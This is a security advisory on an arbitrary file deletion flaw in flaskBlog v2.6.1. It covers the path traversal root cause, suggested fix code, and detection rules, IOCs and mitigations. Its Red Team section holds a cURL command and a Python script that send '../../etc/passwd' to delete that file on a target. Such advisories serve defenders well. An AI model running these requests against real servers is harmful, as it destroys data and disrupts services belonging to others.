CVE-2025-28101

Executive Summary

CVE-2025-28101 is an arbitrary file deletion vulnerability discovered in flaskBlog v2.6.1. The flaw resides in the /post/{postTitle} endpoint, where a crafted POST request can be used by an attacker to delete article titles created by other users. This vulnerability allows for unauthorized deletion of arbitrary files on the server, potentially leading to data loss, service disruption, and further compromise. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

flaskBlog is a Python-based web application built on the Flask framework. The vulnerability exists in the application's own code, not in a third-party package. However, the lack of a patch and the public availability of exploit details increase the risk for all deployments of flaskBlog v2.6.1. Users should monitor the official repository for updates and consider implementing virtual patching or WAF rules until a fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. Based on the vulnerability characteristics, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account to send the crafted POST request.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – Arbitrary files can be deleted.
• Availability (A): High (H) – File deletion can cause service disruption.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Estimated Base Score: 8.1 (High)

Threat Level: High. The vulnerability allows for destructive actions with low complexity and minimal privileges.

Deep Dive & Mechanics

The vulnerability is located in the /post/{postTitle} endpoint of flaskBlog v2.6.1. The application likely uses the postTitle parameter to construct a file path for deleting a blog post. Due to insufficient input validation and sanitization, an attacker can inject path traversal sequences (e.g., ../) into the postTitle parameter to delete files outside the intended directory.

Root Cause: The application does not properly validate or sanitize the postTitle parameter before using it in file system operations. This allows an attacker to manipulate the path and delete arbitrary files.

Attack Flow:

1. The attacker authenticates to the flaskBlog application.
2. The attacker crafts a POST request to /post/{postTitle} where postTitle contains path traversal sequences, e.g., ../../etc/passwd.
3. The application processes the request and attempts to delete the file at the constructed path.
4. If the web server has write permissions to the target file, the file is deleted.

Impact: An attacker can delete critical system files, application configuration files, or user data, leading to denial of service, data loss, or privilege escalation.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in flaskBlog v2.6.1. The following is a hypothetical vulnerable code snippet and a suggested fix.

Vulnerable Code (Python/Flask):

@app.route('/post/<postTitle>', methods=['POST'])
def delete_post(postTitle):
    # Vulnerable: directly uses user input in file path
    file_path = os.path.join('posts', postTitle)
    if os.path.exists(file_path):
        os.remove(file_path)
        return 'Post deleted', 200
    else:
        return 'Post not found', 404

Patched Code (Suggested Fix):

import os
import re

@app.route('/post/<postTitle>', methods=['POST'])
def delete_post(postTitle):
    # Sanitize: remove path traversal sequences
    safe_title = re.sub(r'[^a-zA-Z0-9_-]', '', postTitle)
    if not safe_title:
        return 'Invalid title', 400
    file_path = os.path.join('posts', safe_title)
    # Ensure the file is within the intended directory
    real_path = os.path.realpath(file_path)
    posts_dir = os.path.realpath('posts')
    if not real_path.startswith(posts_dir):
        return 'Invalid path', 400
    if os.path.exists(real_path):
        os.remove(real_path)
        return 'Post deleted', 200
    else:
        return 'Post not found', 404

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of flaskBlog v2.6.1.
• Valid user credentials (e.g., username: attacker, password: password).

Exploit Steps:

1. Log in to the flaskBlog application and obtain a session cookie.
2. Craft a POST request to delete a file outside the intended directory.

Example Exploit (using cURL):

curl -X POST http://target.com/post/../../etc/passwd \
  -H "Cookie: session=your_session_cookie" \
  -d ""

Expected Result: The /etc/passwd file is deleted (if permissions allow).

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Delete a file outside the posts directory
payload = "../../etc/passwd"
response = session.post(f"{target}/post/{payload}")
print(response.status_code, response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for POST requests to /post/ containing path traversal sequences (../, ..\\, etc.).
• Alert on file deletion events for critical system files.
• Use file integrity monitoring (FIM) to detect unauthorized deletions.

Prevention:

• Apply input validation and sanitization as shown in the patched code.
• Use a Web Application Firewall (WAF) to block path traversal attempts.
• Run the application with the least privileges necessary to prevent deletion of system files.
• Implement a chroot jail or containerization to restrict file system access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /post/ with path traversal sequences in the URL.
  • Unusual HTTP 200 responses for requests targeting system files (e.g., /post/../../etc/passwd).

• File System IOCs:

  • Unexpected deletion of files outside the posts directory.
  • Missing critical system files (e.g., /etc/passwd, /etc/shadow).

• Log IOCs:

  • Application logs showing file deletion operations for paths containing ../.
  • Web server logs (e.g., Apache/Nginx) showing requests with path traversal patterns.

Detection Engineering

YARA Rule

rule CVE_2025_28101_Arbitrary_File_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2025-28101 in flaskBlog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28101"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $post_endpoint = "/post/"
    condition:
        $post_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-28101 - Arbitrary File Deletion via Path Traversal
id: 3a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects POST requests to /post/ with path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/post/'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of dots in post titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28101 - Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/post/"; http_uri; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, until a patch is available.
2. Apply a virtual patch using a WAF to block path traversal patterns in POST requests to /post/.
3. Restrict file system permissions so that the web application user cannot delete critical system files.

Long-Term Fix:

• The vendor should release a patched version that properly sanitizes the postTitle parameter and validates file paths.
• Implement a whitelist of allowed characters for post titles.
• Use a secure file deletion function that prevents path traversal.

Workaround:

• Modify the application code to use a database for storing post metadata instead of file system operations.
• Implement a custom middleware that validates all file paths before deletion.

Valters IT